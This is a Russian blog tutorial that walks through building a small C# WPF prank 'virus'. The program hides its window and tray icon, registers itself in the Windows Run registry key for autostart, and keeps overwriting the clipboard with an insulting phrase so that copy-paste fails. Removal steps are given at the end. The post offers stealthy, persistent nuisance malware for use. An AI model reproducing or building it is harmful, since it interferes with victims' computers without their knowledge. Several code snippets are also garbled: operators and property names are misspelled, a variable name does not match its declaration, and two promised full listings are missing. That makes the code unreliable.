Маленький, но гадкий вирус на С# для любителей «Ctrl+C» — «Ctrl+V»

Всем привет,
Сегодня мы будем делать вирус…

Итак, что трепаться впустую, создаем WPF проект, прописываем название формы(name) — Windows1
Сразу же кидаем на форму ProgressBar, не забываем прописать ему название(Name) — progressBar1
Выставляем свойству Visibility значение Collapsed
Далее, нажимаем на форму и переходим во вкладу свойства
Дважды кликаем напротив св-ва «Loaded»

Подключаем пространство имен using System.Windows.Threading;(кому интересно посмотрите что в ней есть).

Нас интересует класс DispatcherTimer, это аналог timer в WinForms.
Далее, создаем экземпляр класса DispatcherTimer и добавляем делаем так, чтобы таймер включался при загрузке формы.

теперь создаем метод Timer_Tick() и добавляем в него текст, который будет заполнять буфер если пользователь захочет что-то скопипастить.
——————————————

public void Timer_Tick(object sender, EventArgs e)
{
    if (progressBar1.Value==100)
    {
        System.Windows.Clipboard.SetText("хрен тебе, а ни копипаст!");
    }
}

В Window_Loaded, перед Timer.Start(), добавляем обработчик:

Timer.Tick =+EventHandler(Timer_Tick);
TImer.Inverval = Timer.Span(0,0,1); //1 секунда.

——————————————
Далее, подключаем библиотеку System.Windows.Forms к проекту

Теперь прописываем using System.Windows.Forms в шапку файла MainWindow.xaml.cs
В методе загрузки формы(private void Window_Loaded(object sender, RoutedEventArgs e)) создаем экземпляр класса NotifyIcon() после чего
свойству Visible присваиваем false, это нужно чтобы наш вирус не был виден в трее. После чего, скрывает вирус от панели задач через this.ShowTaskbar
Наш код теперь выглядит так:

Далее, туда же добавляем:

ProgressBar1.Value = (100);
Windows1.Visibility = Visibility.Collapsed; //Это чтобы скрыть форму.

Теперь прописываем using Microsoft.Win32 в шапку файла MainWindow.xaml.cs и добавляем следующую строку, после DispatcherTimer…:

RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);

С помощью этой строки, вирус добавит себя в автозапуск.

После чего прописываем запуск:

registryKey.SetValue("KEMON", System.Windows.Forms.Application.ExecutablePath.ToString());

Весь код теперь должен выглядеть так:

На этом этапе, программа уже компилируется и работает.

Далее, заходим в «Сборку»-> «Собрать решение».

После чего нажимаем правой кнопкой мыши, на проекте и выбираем «Открыть папку в проводнике».

теперь переходим в папку bin—> Debug, а вот и наш вирус, запускаем, проверяем.

выделяем любой текст, копируем его, нажимаем вставить, получаем «хрен тебе, а ни копипаст».

Как удалить вирус:
В пуске набираем «regedit».
Заходим в реестр далее идем по следующему пути: HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CurrentVersion\Run
удаляем ключ имя KEMON
Заходим в диспетчер задач и в процессах завершаем работу вируса.
Конец!

Ставь лайк!

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.